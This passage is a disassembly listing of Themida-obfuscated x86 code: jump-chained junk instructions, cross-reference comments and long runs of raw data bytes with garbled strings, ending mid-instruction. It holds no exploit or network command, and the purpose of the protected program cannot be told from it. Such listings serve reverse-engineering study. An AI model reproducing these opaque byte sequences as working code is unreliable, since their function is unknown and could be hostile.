0BFh, 0E3h dd 814D2C04h, 6222EC7h, 5AF78136h, 8101C636h, 0BAFE76C7h dd 0A9EE81E9h, 290A0965h, 703E9FEh, 0D7890001h, 2E7C15Ah dd 0A4CFE9h, 4C48300h, 0F8FDE9h, 0C8F48000h, 3047EC80h dd 24048BE5h, 81E78957h, 4C7h, 4C78100h, 87000000h, 805C243Ch dd 0EDC044CDh, 0CEB35305h, 30ECF380h, 0B1515BDDh, 0C0C9FE23h dd 0E98006E9h, 0E9C800CDh, 60B1h, 0C1D0F75Dh, 0B0504E0h dd 0E9212955h, 2025h, 51CDE957h, 0EB810000h, 77757534h dd 2C68F329h, 89000047h, 0E9502414h, 0C177h, 8BF0315Dh dd 0C4812434h, 4, 0DFF8E9h db 0 ; --------------------------------------------------------------------------- loc_551AF5: ; CODE XREF: Themida_:00558BC5j xor edx, 0B9E72904h add ebp, edx pop edx jmp loc_55DD35 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 83592434h, 48F04C4h, 24248B24h, 9C2424D3h dd 0FFF442E9h, 1EB81FFh, 0E9000000h, 3AA8h, 22EDBD55h dd 0C5815DF8h, 45046E9Ch, 189FCD81h, 81451658h, 68217CC5h dd 0E8C5811Dh, 12B9B44h, 2DE95DEAh, 8B0000A7h, 0C481243Ch dd 4, 8B242C87h, 0C3312424h, 1E49E9h, 24148900h, 0C281E289h dd 4, 8704EA83h, 685C2414h, 6829h, 57242489h, 4BFh, 247C0100h dd 48F5F04h, 3962E924h, 0C6010000h, 5A05E9h, 90AB900h dd 0CE011DA3h, 81240C8Bh, 4C4h, 0EC815900h, 4, 0FF243489h dd 8B042474h, 89572434h, 1BEC68E7h, 4890000h, 4B824h, 0EF810000h dd 7BC87CF8h, 0C781C701h, 7BC87CF8h, 0FCE1E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_55CB12 ; --------------------------------------------------------------------------- loc_551BF0: ; CODE XREF: Themida_:00561E75j mov [esp], edi push 3BE1h mov [esp], eax mov eax, 0C4E9F1CEh push eax sub dword ptr [esp], 15171A04h jmp loc_56217B ; --------------------------------------------------------------------------- db 68h, 50h, 6Ah dd 70E90000h db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551C17: ; CODE XREF: Themida_:005568CEj mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp jmp loc_55410D ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 5C243487h, 1A55C581h, 0DD010C41h dd 1A55ED81h, 0E95B0C41h, 52E0h, 5F286857h, 505F287Ah dd 6A45FFB8h, 58C70142h, 4EEAC781h, 0E7816747h, 0B3D02DBh dd 0FA70EF81h, 0FA8982A0h, 8BC2315Fh, 0C4812404h, 4, 0E95AD189h dd 13CC0h, 6DF4C181h, 555E0EFAh, 5B508FBDh, 0E9E5D107h dd 0A7EDh ; --------------------------------------------------------------------------- loc_551C98: ; CODE XREF: Themida_:005585E7j xor edx, [esp] pop esp mov [esp], ebx mov eax, [esp] push edx jmp loc_5543C5 ; --------------------------------------------------------------------------- dd 6BD4E181h, 0D1F71F47h, 0E957D9F7h, 1293Bh, 0FFF2A2E9h dd 4C483FFh, 4C181h, 0E9550000h, 1168h, 5304C483h, 8D3414BBh dd 0F0BD551Ch, 0E9E372CBh, 0D563h ; --------------------------------------------------------------------------- loc_551CE0: ; CODE XREF: Themida_:005636C7j not edx inc edx sub edx, 0FFFFFFFFh push edi mov edi, 499933FCh jmp loc_559C3A ; --------------------------------------------------------------------------- db 89h, 0F5h, 5Eh aMs db 'MИ╩}',0 align 2 dw 0E954h dd 12571h ; --------------------------------------------------------------------------- loc_551D00: ; CODE XREF: Themida_:0055244Dj pop ebp jmp loc_55C3CE ; --------------------------------------------------------------------------- loc_551D06: ; CODE XREF: Themida_:00557AFAj push esi mov esi, 416B396Dh shr esi, 4 inc esi jmp loc_554C3B ; --------------------------------------------------------------------------- loc_551D15: ; CODE XREF: Themida_:0055BE3Bj push 7A4A37CEh mov eax, [esp] add esp, 4 shl eax, 8 sub eax, 0BFA5135h push edx mov edx, 6AA1213Bh or edx, 14FB34FAh inc edx sub edx, 740C18E5h or eax, edx pop edx jmp loc_55BFF4 ; --------------------------------------------------------------------------- dw 0CB2Ch dd 0CB04C828h, 83240C8Bh, 0DA6804C4h, 8900006Dh, 5456241Ch dd 7B0BE9h db 0 ; --------------------------------------------------------------------------- loc_551D61: ; CODE XREF: Themida_:00559A5Dj add ebp, 4 xchg ebp, [esp] pop esp push 5566h mov [esp], ebp mov ebp, 5D633C86h add dword ptr [esp+4], 229456AAh add [esp+4], ebp push eax push 229456AAh pop eax sub [esp+8], eax mov eax, [esp] jmp loc_557999 ; --------------------------------------------------------------------------- a1Xiqsi db '1еX┴ОИКф',0 dd 5F0D5B00h, 0C16AFA74h, 0AC3507E8h, 8945F79Ch, 24048BC6h dd 4225E9h, 49BE5600h, 525F6B11h, 81672BBAh, 45CA8103h dd 5626816Bh, 0E06C7BEh, 5EF20111h, 525AD601h, 9A345BBAh dd 0E9D62958h, 7A1Ch ; --------------------------------------------------------------------------- loc_551DE4: ; CODE XREF: Themida_:00557F28j push 62755607h pop edi jmp loc_555CB6 ; --------------------------------------------------------------------------- db 81h dd 0A06D1EFh, 13EF815Dh, 8B461F01h, 0C483241Ch, 0C0B60F04h dd 96C9E9h, 0D8315900h, 0E9241C8Bh, 0F1FBh ; --------------------------------------------------------------------------- loc_551E14: ; CODE XREF: Themida_:0056229Ej push dword ptr [esp] jmp loc_55FC32 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 7AA1E981h, 0F1E9398Ch dd 8100007Ah, 0CB8DF8E9h, 24C781BCh, 1036B45h, 24EF81CFh dd 59036B45h, 1A49E9h, 5E34BB00h, 0DF8938DDh, 2EFC15Bh dd 34FBE950h, 0D0310000h, 0D731FA31h, 81E9FA31h, 0BD0000F1h dd 0E5A37848h, 2C8BEE29h, 4C48324h, 24348156h, 772D0BD9h dd 0C749E9h db 0 ; --------------------------------------------------------------------------- loc_551E89: ; CODE XREF: Themida_:00558462j add esp, 4 mov edi, [esp] add esp, 4 and eax, esi jmp loc_563D99 ; --------------------------------------------------------------------------- db 8Fh dd 0E9552404h, 4041h ; --------------------------------------------------------------------------- loc_551EA8: ; CODE XREF: Themida_:0055E109j add edx, ebp pop ebp jmp loc_5526AE ; --------------------------------------------------------------------------- loc_551EB0: ; CODE XREF: Themida_:00555741j pop ebp add edx, 4 xchg edx, [esp] pop esp shr ebx, 5 shl ebx, 4 jmp loc_565658 ; --------------------------------------------------------------------------- db 0F6h dd 0E9F986D7h, 0DF5Ah ; --------------------------------------------------------------------------- loc_551ECC: ; CODE XREF: Themida_:005633B3j mov eax, [esp] add esp, 4 pop esi push 72E0h jmp loc_55CDA1 ; --------------------------------------------------------------------------- loc_551EDD: ; CODE XREF: Themida_:0055F018j sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_559299 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 716BE9h, 4EC8100h, 89000000h, 6855240Ch, 7BCC2099h dd 81242C8Bh, 4C4h, 2FC58100h, 457B501Bh, 3BC7ED81h, 8957F71Ch dd 0FE8956EFh, 0D2D4E9h db 0 ; --------------------------------------------------------------------------- loc_551F21: ; CODE XREF: Themida_:00553952j add esp, 4 add ebx, edi push edx jmp loc_563D3F ; --------------------------------------------------------------------------- loc_551F2C: ; CODE XREF: Themida_:0055E70Dj push ebx jmp loc_55DE5F ; --------------------------------------------------------------------------- dw 0F480h dd 11E4802Dh, 807FC480h, 0E60092ECh, 0E9EE2858h, 0D208h dd 5AE9C5B4h, 830000F9h, 0A9E904ECh, 81000139h, 4ECh, 24048900h dd 1B225DB8h, 0FD5CBA2Fh, 0C231E58Dh, 0D3EA8158h, 1240120h dd 0D3C281F2h, 5E240120h, 4C6868h, 243C8900h, 0FFFFFFBFh dd 5FFA29FFh, 550168h, 24048900h, 0CEF1E9h, 4AB45000h dd 0E367E9h, 8BCF8900h, 4BE9240Ch, 4E00008Bh, 1241EE81h dd 0C181E4C4h, 55910399h, 0E981F101h, 55910399h, 188DE9h dd 0BFF68000h, 5AF130h, 1931E9C8h db 1, 0 ; --------------------------------------------------------------------------- loc_551FD2: ; CODE XREF: Themida_:0055FF6Aj bts [esp], ax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_551FDD: ; CODE XREF: Themida_:0055CAA1j xor [esp], esi xor esi, [esp] pop esp bt [esp], eax pushf jmp loc_550F5F ; --------------------------------------------------------------------------- loc_551FEE: ; CODE XREF: Themida_:00555196j mov [esp], edx mov edx, 2 add eax, edx mov edx, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax jmp loc_563083 ; --------------------------------------------------------------------------- db 0B6h, 11h, 0E9h dd 110ABh, 0BF243C89h, 1DA25D71h, 375FC781h, 0EF813856h dd 25B51281h, 8104E7C1h, 0B373BCCFh, 29C7813Eh, 0E9109750h dd 85E7h, 0C381C301h, 756197Fh, 243C8B58h, 7102E9h, 5BFE0000h dd 0D64BE9h, 4C18100h, 0E9000000h, 1ADCh, 8FC4C781h, 0FE89A77Fh dd 5EF2895Fh, 77D2EB81h, 0D3014BB5h, 77D2C381h, 335A4BB5h dd 1C31241Ch, 241C3324h, 5024248Bh, 11551E9h, 5EF23100h dd 3649E281h, 0E9426C71h, 13BBFh, 0C2715BEh, 52DEF727h dd 0ED5F3CBAh, 0F2814240h, 5127319h, 1A31C281h, 0E2811F2Fh dd 32062B6Ah, 9FEEA81h, 0D631919Eh, 5EF3015Ah, 142FE9h dd 241C8B00h, 0E9E28952h, 0F5C0h, 89242C89h, 0BBAE9E5h db 1, 0 ; --------------------------------------------------------------------------- loc_5520DE: ; CODE XREF: Themida_:005516B4j push 0E89h mov [esp], ebx push dword ptr [esp] jmp loc_560D0F ; --------------------------------------------------------------------------- aI4S2 db '\┴4$И2╡',0 dw 5300h dd 0CFFEADB7h, 98C6E9h, 17BE6600h, 0C6816609h, 0C166420Ah dd 816608E6h, 662517E6h, 0B516EE81h, 5EF22966h, 81664266h dd 66874DC2h, 66506692h, 66586653h, 0E6E2E95Bh, 0D35C0000h dd 0E99C2424h, 0FFFFEE23h, 5058C331h, 0C589D889h, 241C8B58h dd 4C481h, 0EA010000h, 0C54BE9h db 0 ; --------------------------------------------------------------------------- loc_552155: ; CODE XREF: Themida_:00561779j xor [esp], edx jmp loc_55F1A3 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 0E9h dd 1E9Eh ; --------------------------------------------------------------------------- loc_552164: ; CODE XREF: Themida_:005559D6j sub edx, 3B1618D9h jmp loc_55D418 ; --------------------------------------------------------------------------- db 83h dd 2C8704C5h, 0C1835C24h, 240C8704h, 6824248Bh, 0CB7h dd 0E9240489h, 0C2A9h, 1AC2B850h, 8F6820BAh, 59677878h dd 8158C129h, 0F82EFAC9h, 7CFBE967h, 0C890000h, 2F41B924h dd 0A3E949E9h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5521B3: ; CODE XREF: Themida_:0055D30Bj mov ecx, 0DE46B498h sub ecx, esi mov esi, [esp] add esp, 4 jmp loc_55CCCF ; --------------------------------------------------------------------------- aYsgu db 'YИGЦ',0 dw 5E00h dd 4C681h, 0C6810000h, 4, 31243433h, 34332434h, 48F5C24h dd 0E262E924h, 26B90000h, 0E95B0453h, 0DB90h, 4EC815Ah dd 89000000h, 0AEE92434h, 1000100h, 8BAE9EBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55220A: ; CODE XREF: Themida_:00552F5Fj sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp and eax, edi push dword ptr [esp] pop edi jmp loc_55A99A ; --------------------------------------------------------------------------- db 53h, 0BBh, 0CBh dd 0E9D21927h, 842Bh, 5153D800h, 0E980DEB1h, 59CB8885h dd 8028B652h, 0E6C048E6h, 357EE906h, 4890000h, 4EC8124h dd 89000000h, 0E789243Ch, 4C781h, 0E9560000h, 0A2EAh ; --------------------------------------------------------------------------- loc_55226C: ; CODE XREF: Themida_:005513E4j push dword ptr [esp] jmp loc_55172E ; --------------------------------------------------------------------------- dd 12FDEB81h, 0F32905B3h, 12FDC381h, 0AAE905B3h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552287: ; CODE XREF: Themida_:00560F69j pop esi add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_55A28C ; --------------------------------------------------------------------------- dw 0CD29h dd 2753C581h, 81594115h, 461A0CF5h, 23E9E906h, 0F9210000h dd 81243C8Bh, 4C4h, 6E1C100h, 5104E9C1h, 592414F7h, 0FFB7F181h dd 0EB81FF7Fh, 775B460Ch, 38E0E9h db 0 ; --------------------------------------------------------------------------- loc_5522D5: ; CODE XREF: Themida_:00558AB3j xor esi, 6280794Bh xor esi, 2E8E9F93h and esi, 11A101D3h jmp loc_5631E7 ; --------------------------------------------------------------------------- loc_5522EC: ; CODE XREF: Themida_:00564A89j sub eax, ebx sub eax, 49DE2577h jmp loc_5633A7 ; --------------------------------------------------------------------------- dd 0F22C681h, 0EEC17BB4h, 0C9EE8107h, 21E38664h, 24348BF2h dd 4C481h, 0C2810000h, 15DF41A5h, 89D08950h, 34FF58C5h dd 0CE2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552326: ; CODE XREF: Themida_:00561F3Bj add esi, 4 add esi, 4 jmp loc_5518B5 ; --------------------------------------------------------------------------- aT_hc db 'T_hФ%',0 dw 8900h dd 0EC832434h, 242C8904h, 0FD417FBDh, 481557Ch, 932F3E24h dd 0BB535E43h, 43932F3Eh, 0B2E9DE29h db 22h, 1, 0 ; --------------------------------------------------------------------------- loc_55235F: ; CODE XREF: Themida_:0055ED16j xchg esi, [esp] pop esp push dword ptr [esp] pop ecx jmp loc_5518D1 ; --------------------------------------------------------------------------- aGacssu db '╥ё─Г▒Иuа',0 align 2 loc_552376: ; CODE XREF: Themida_:005545DDj or edx, eax shl edx, 1 push ebp mov ebp, esp push esi mov esi, 6A1207EAh push edi jmp loc_552511 ; --------------------------------------------------------------------------- db 68h, 0BEh, 6 dd 0E9540000h, 11780h ; --------------------------------------------------------------------------- loc_552394: ; CODE XREF: Themida_:00558558j pop esp sub esi, 25543772h push 0C36h mov [esp], esi jmp loc_558320 ; --------------------------------------------------------------------------- dword_5523A8 dd 8904EC83h, 8953241Ch, 1BA5E9E3h, 0D5F70001h, 9A6E9h ; DATA XREF: Themida_:00550DE0o dd 0F2EE8100h, 51290913h, 0B6418AB9h, 0E616E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5523CE: ; CODE XREF: Themida_:0055A877j add ebp, edx jmp loc_565917 ; --------------------------------------------------------------------------- byte_5523D5 db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00550EA0o dd 8904EC83h, 0D68241Ch, 89000004h, 0E968240Ch, 0FF645471h dd 0F6E92434h, 81000115h, 4C4h, 8BD98900h, 0C481241Ch dd 4, 5150E1D1h, 0FFFFFFB9h, 0C674E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_552412: ; CODE XREF: Themida_:0055CEC0j add edx, edi pop edi push esi jmp loc_558AA5 ; --------------------------------------------------------------------------- loc_55241B: ; CODE XREF: Themida_:005569A8j push 30694441h jmp loc_55340F ; --------------------------------------------------------------------------- loc_552425: ; CODE XREF: Themida_:00560C14j mov edx, 4 sub edi, edx jmp loc_5533B3 ; --------------------------------------------------------------------------- byte_552431 db 0ADh, 56h, 53h ; DATA XREF: Themida_:00550EC0o dd 867A64BBh, 51F3813Ch, 0E9289677h, 0FFFFF6D9h ; --------------------------------------------------------------------------- loc_552444: ; CODE XREF: Themida_:0055DFB0j add esp, 4 push dword ptr [esp] jmp loc_551D00 ; --------------------------------------------------------------------------- dw 0E289h dd 8904EC83h, 0EC83243Ch, 241C8904h, 9288E9h, 80E95B00h dd 29000100h, 0EBEA81CAh, 0E9229134h, 9BC1h, 621B5E25h dd 738AE919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552482: ; CODE XREF: Themida_:00554A9Dj mov [esp], eax push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx jmp loc_551754 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 55000000h, 0ED7BE9h db 0 ; --------------------------------------------------------------------------- loc_5524A1: ; CODE XREF: Themida_:00560798j mov edx, 1CF253EEh shr edx, 6 sub edx, 54F84363h jmp loc_559F17 ; --------------------------------------------------------------------------- loc_5524B4: ; CODE XREF: Themida_:00557D0Aj push 4E5h mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi push esi not dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5591A4 ; --------------------------------------------------------------------------- db 81h, 0C9h, 0F1h dd 51404C41h, 59240CFFh, 13E4BF57h, 0F9314D7Eh, 0B778E9h dd 0E9CE0100h, 1046Ch, 56FBB53h, 0C1435DFBh, 0E38102E3h dd 711F54B6h, 536BE9h db 0 ; --------------------------------------------------------------------------- loc_552511: ; CODE XREF: Themida_:00552384j mov edi, 0E375925h add esi, 61CF3691h sub esi, edi sub esi, 61CF3691h jmp loc_563EC1 ; --------------------------------------------------------------------------- loc_552529: ; CODE XREF: Themida_:00555C62j xor edx, [esp] mov esp, [esp] xor eax, 240B4506h jmp loc_55B2EB ; --------------------------------------------------------------------------- db 57h, 0BFh, 72h dd 813FE768h, 0E76876F7h, 5FFE013Fh, 370E9h db 0 ; --------------------------------------------------------------------------- loc_55254D: ; CODE XREF: Themida_:00562051j or edx, eax shl edx, 1 push ebx sub esp, 4 mov [esp], eax jmp loc_565815 ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFFEEAh, 0BF3946B8h, 0F3D6E93Ah, 0CDBD0000h dd 573D8414h, 9B59D3BFh, 0FFFD0928h, 815F2434h, 4C4h, 0C58100h dd 0E91DAAC7h, 97A8h ; --------------------------------------------------------------------------- loc_552594: ; CODE XREF: Themida_:0055EEDBj push 7290h mov [esp], esi push ebp mov ebp, ebx push 1161h mov [esp], edx mov edx, ebp push ebx mov ebx, edx mov esi, ebx pop ebx pop edx pop ebp mov edi, esi jmp loc_55567B ; --------------------------------------------------------------------------- aSWqTSn db 'S╩Wq╤t)з[ИN:',0 align 2 loc_5525C6: ; CODE XREF: Themida_:0056467Dj push esi mov esi, 0C001B4Fh jmp loc_561DC0 ; --------------------------------------------------------------------------- loc_5525D1: ; CODE XREF: Themida_:00557196j mov [esp], ebx mov ebx, 3BFD1BFBh or ecx, ebx mov ebx, [esp] add esp, 4 push ecx jmp loc_5626EA ; --------------------------------------------------------------------------- dw 0D301h dd 241C335Ah, 33241C31h, 835C241Ch, 0C8904ECh, 0E99CB524h dd 1392h ; --------------------------------------------------------------------------- loc_552604: ; CODE XREF: Themida_:0055DD44j mov [esp], ecx push dword ptr [esp+4] jmp loc_556D93 ; --------------------------------------------------------------------------- dd 8104C483h, 0A7028BEBh, 0A819E94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55261E: ; CODE XREF: Themida_:00551629j pop ebp add esi, edx pop edx xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push edi push ebp mov ebp, 70087ABCh jmp loc_554E68 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 55000000h, 468h, 38FBE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55264E: ; CODE XREF: Themida_:00557A91j pop eax push ebp mov ebp, 4 jmp loc_5629BB ; --------------------------------------------------------------------------- loc_55265A: ; CODE XREF: Themida_:0055A337j push ebp mov ebp, eax push ebp pop ebx pop ebp mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55CDDB ; --------------------------------------------------------------------------- loc_552671: ; CODE XREF: Themida_:00564D73j push 3CF5h mov [esp], esi sub esp, 4 jmp loc_564CCF ; --------------------------------------------------------------------------- aFp?Fxfrs db 'fP╟?',8,'еfXfRИ,ъ',0 align 10h dd 4BFh, 14BF5700h, 8176794Eh, 916881E7h, 96EF816Ah, 29ECFEDBh dd 3AB0E9FDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5526AE: ; CODE XREF: Themida_:00551EABj xchg edx, [esp] pop esp push ecx mov ecx, 44BF3945h add [esp+8], ecx mov ecx, [esp] jmp loc_557C1E ; --------------------------------------------------------------------------- loc_5526C4: ; CODE XREF: Themida_:00564C85j mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 push 358Ah mov [esp], eax mov eax, 6BF27F90h and eax, 667A1C7Dh jmp loc_56350E ; --------------------------------------------------------------------------- dw 0E991h dd 1A9Bh, 89FD8955h, 815F5DE9h, 1140AFC9h, 5E1C11Dh, 0FBF18149h dd 0E9CB2A87h, 10DC5h, 0E7C0EFD0h, 79C78007h, 1C8BF988h dd 306DE924h, 835D0000h, 53E904C4h, 8100010Dh, 590BC2C7h dd 60EF816Bh, 899EC97Ah, 0D6015FFAh, 114B9E9h, 24048700h dd 241C895Ch, 228E954h db 1, 0 ; --------------------------------------------------------------------------- loc_55274E: ; CODE XREF: Themida_:00555691j mov ebp, [esp] jmp loc_55A8AA ; --------------------------------------------------------------------------- dw 3433h dd 24248B24h, 9C2424D2h, 0FFE7FAE9h, 4C481FFh, 51000000h dd 0B122FCB9h, 81D9F734h, 0D7575E9h, 59C82991h, 8F05F001h dd 573A4167h, 2A2AF1BFh, 0E0E9473Dh, 5B000003h, 1453BE56h dd 0E94E4BCBh, 94DCh, 2D404048h, 78244A11h, 3A23E9h, 6649BD00h dd 0F58170C5h, 265E4EF1h, 3121C581h, 38E9F242h db 1Ah, 1, 0 ; --------------------------------------------------------------------------- loc_5527BF: ; CODE XREF: Themida_:005632F8j push edx jmp loc_5593B8 ; --------------------------------------------------------------------------- db 58h, 0F7h, 0DDh dd 4CF5814Dh, 89BCBD82h, 0BD555DEAh, 266771A7h, 0E5C1D5F7h dd 4E5C103h, 5605EDC1h, 876EE8BEh, 5EF53172h, 555DEA21h dd 0CF09E9h, 51DEF700h, 0FFEF8BE9h, 42DFFh, 9FE90000h dd 890000BDh, 0AFBF243Ch, 1CB6B1Bh, 0D7895FFAh, 8324148Bh dd 0FE3104C4h, 0FFF0315Fh, 93E92434h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552827: ; CODE XREF: Themida_:005565DDj mov ebp, ebx mov edx, ebp jmp loc_5643E2 ; --------------------------------------------------------------------------- dd 2BCA68h, 24048900h, 1E73E9h, 3E3C100h, 4C3FE9h db 0 ; --------------------------------------------------------------------------- loc_552845: ; CODE XREF: Themida_:0055C266j push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 add edi, ebp pop ebp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] mov edx, [esp] jmp loc_55F224 ; --------------------------------------------------------------------------- db 53h dd 58046DBBh, 97C3813Bh, 1C4A7FBh, 0A006E9DEh, 0EC810000h dd 4, 0BE243489h, 4, 4247401h, 535BE9h, 4ABD5500h, 5154B87Bh dd 9575EDB9h, 0E9CD2937h, 0E5C7h ; --------------------------------------------------------------------------- loc_5528A8: ; CODE XREF: Themida_:0055BF9Fj add ebp, esi add ebp, 46EB7AD7h jmp loc_5560D8 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0A4DCE9h, 4EE8300h, 4EC81h, 57E90000h, 81FFFFECh, 0F23271EBh dd 81C3014Dh, 0F23271C3h, 24048B4Dh, 4122E9h, 5DE90100h dd 1137FE9h, 34FF5C00h, 24048B24h, 4C481h, 5E680000h, 8900001Dh dd 0E789243Ch, 86E6E952h, 0F660000h, 5166C8B6h, 0E64DE99Ch db 2 dup(0FFh) word_552912 dw 8B66h ; DATA XREF: Themida_:00550CE8o dd 0E951240Ch, 367Bh, 3F01E581h, 0EDC14A09h, 6EDC103h dd 0E904E5C1h, 9CCBh ; --------------------------------------------------------------------------- loc_552930: ; CODE XREF: Themida_:0055D4D0j push ecx mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] jmp loc_55E502 ; --------------------------------------------------------------------------- db 81h, 0EBh, 97h dd 8113BD32h, 6F1D81EBh, 3E3C175h, 83DBC381h, 2405DD0Dh dd 166D571h, 71242DD8h, 555B66D5h, 0D67950BDh, 0F7D5873Eh dd 57D587D2h, 198C9BBFh, 5FFD0181h, 0CFAE9h, 24148900h dd 0C531F068h, 0EB815A45h, 25667F5Fh, 425DE9h, 0E5C9E900h dd 0F588FFFFh, 5378E9h db 0 ; --------------------------------------------------------------------------- loc_55299D: ; CODE XREF: Themida_:00556628j pop edi add eax, 4 jmp loc_55D87B ; --------------------------------------------------------------------------- dd 0E9243487h, 13023h, 63B8BB53h, 0EB817BF9h, 7BF963B4h dd 0F8E9DA89h, 87000050h, 20E9243Ch, 81000019h, 4C4h, 5EF08900h dd 62ABC181h, 0D8E91DBCh db 0EEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5529DF: ; CODE XREF: Themida_:00555D91j add eax, esi mov esi, [esp] add esp, 4 xor eax, 5E2052E7h jmp loc_556C13 ; --------------------------------------------------------------------------- aLSmi db '▀<$Иm╘',0 dd 5CE95000h db 18h, 1, 0 aN1Suf db '╜1ьИЦF',0 ; DATA XREF: Themida_:00550EC8o dw 5300h dd 520AFABBh, 33EB816Ah, 136B2CEh, 348B5BDFh, 4C48324h dd 31243C33h, 3C33243Ch, 24248B24h, 0F8A4E953h, 0E0C10000h dd 2D680507h, 0D8F716A4h, 300E510Dh, 0DF552D7Bh, 0C7017FB9h dd 0F949E9h db 0 ; --------------------------------------------------------------------------- loc_552A49: ; CODE XREF: Themida_:0056360Bj inc ebp xor ebp, 0FFFB73F1h jmp loc_55B61C ; --------------------------------------------------------------------------- byte_552A55 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00550CB8o aS_6 db '$И╧:',0 align 2 loc_552A5E: ; CODE XREF: Themida_:00564127j jz loc_554F96 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 159C5C03h push 0E92h mov [esp], ebx push 4E65626h push dword ptr [esp] mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55163C ; --------------------------------------------------------------------------- dw 0E953h dd 11CECh ; --------------------------------------------------------------------------- loc_552AA8: ; CODE XREF: Themida_:005642D3j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_55866A ; --------------------------------------------------------------------------- db 86h, 0F9h, 0E9h dd 0FFFFF3FFh, 4C3835Dh, 2474FF53h, 48F5B04h, 0E3C15C24h dd 81C38107h, 89AECD40h, 0B2E9205Fh db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552AE3: ; CODE XREF: Themida_:0055D76Cj mov edi, esp add edi, 4 jmp loc_55E169 ; --------------------------------------------------------------------------- loc_552AF0: ; CODE XREF: Themida_:00559889j xor edx, ebx pop ebx jmp loc_562174 ; --------------------------------------------------------------------------- dd 0E0C0BD04h, 4C0FE05h, 0E9352C63h, 0DEB8h ; --------------------------------------------------------------------------- loc_552B08: ; CODE XREF: Themida_:00552D0Dj add eax, ecx xor [eax], esi mov eax, [esp] add esp, 4 pop ecx loc_552B13: ; CODE XREF: Themida_:005544DDj push 1974h mov [esp], edi sub esp, 4 mov [esp], ebx jmp loc_554EB3 ; --------------------------------------------------------------------------- db 31h, 4, 24h dd 0FFE42EE9h, 8BEF89FFh, 3AE9242Ch, 9000100h, 0E9935AD3h dd 0FFFFFBAAh, 0C5FED5F6h, 0D6F6F586h, 0E5C0F586h, 4B74E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552B56: ; CODE XREF: Themida_:00558E3Dj sub ebp, 4 jmp loc_555192 ; --------------------------------------------------------------------------- dw 158h dd 243C8BFAh, 4C481h, 4AE90000h, 0F7FFFFF2h, 0EAC781DFh dd 554D9FA4h, 2755AABDh, 5DEF0942h, 0C6AC781h, 534F112Dh dd 1BBh, 0DEF8100h, 128196Fh, 0DC781DFh, 5B28196Fh, 801FF781h dd 0F8295F38h, 83243C8Bh, 55E04C4h, 3EB328EBh, 46E9D829h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552BB7: ; CODE XREF: Themida_:00560EE2j add ebx, edi xor ecx, [ebx] pop ebx jmp loc_55CE7A ; --------------------------------------------------------------------------- db 4Fh, 51h, 0B9h dd 373EA006h, 8D96E9h, 4C28100h, 81000000h, 4ECh, 242C8900h dd 9F1AE9h, 4C18300h, 31240C33h, 0C33240Ch, 24248B24h dd 2BB53h, 0DD010000h, 14B1685Bh, 2C890000h, 2474FF24h dd 6947E904h, 0F8280000h, 6659665Bh, 66569368h, 53241489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 83B1B724h dd 48904ECh, 53F88824h, 0DA88C388h, 81241C8Bh, 4C4h, 32E95800h dd 81000066h, 4F720BEAh, 57505F23h, 0F1457A68h, 0EF815F3Fh dd 0E4300BBh, 22EC781h, 814F5A01h, 0CF2307C7h, 0E9F889D6h dd 7E2Bh ; --------------------------------------------------------------------------- loc_552C74: ; CODE XREF: Themida_:00553081j sub edi, edx pop edx add edi, ecx add edi, 772B1901h jmp loc_55DDC3 ; --------------------------------------------------------------------------- loc_552C84: ; CODE XREF: Themida_:00558FA6j xchg ecx, edx not ecx xchg ecx, edx add edx, 58221B59h add eax, edx pop edx pop edx mov ebx, eax mov eax, [esp] add esp, 4 sub edi, 5D53416Bh add edi, ebx add edi, 5D53416Bh pop ebx push ebp mov ebp, 0D806923h sub [esp+8], ebp pop ebp add [esp+4], edi add dword ptr [esp+4], 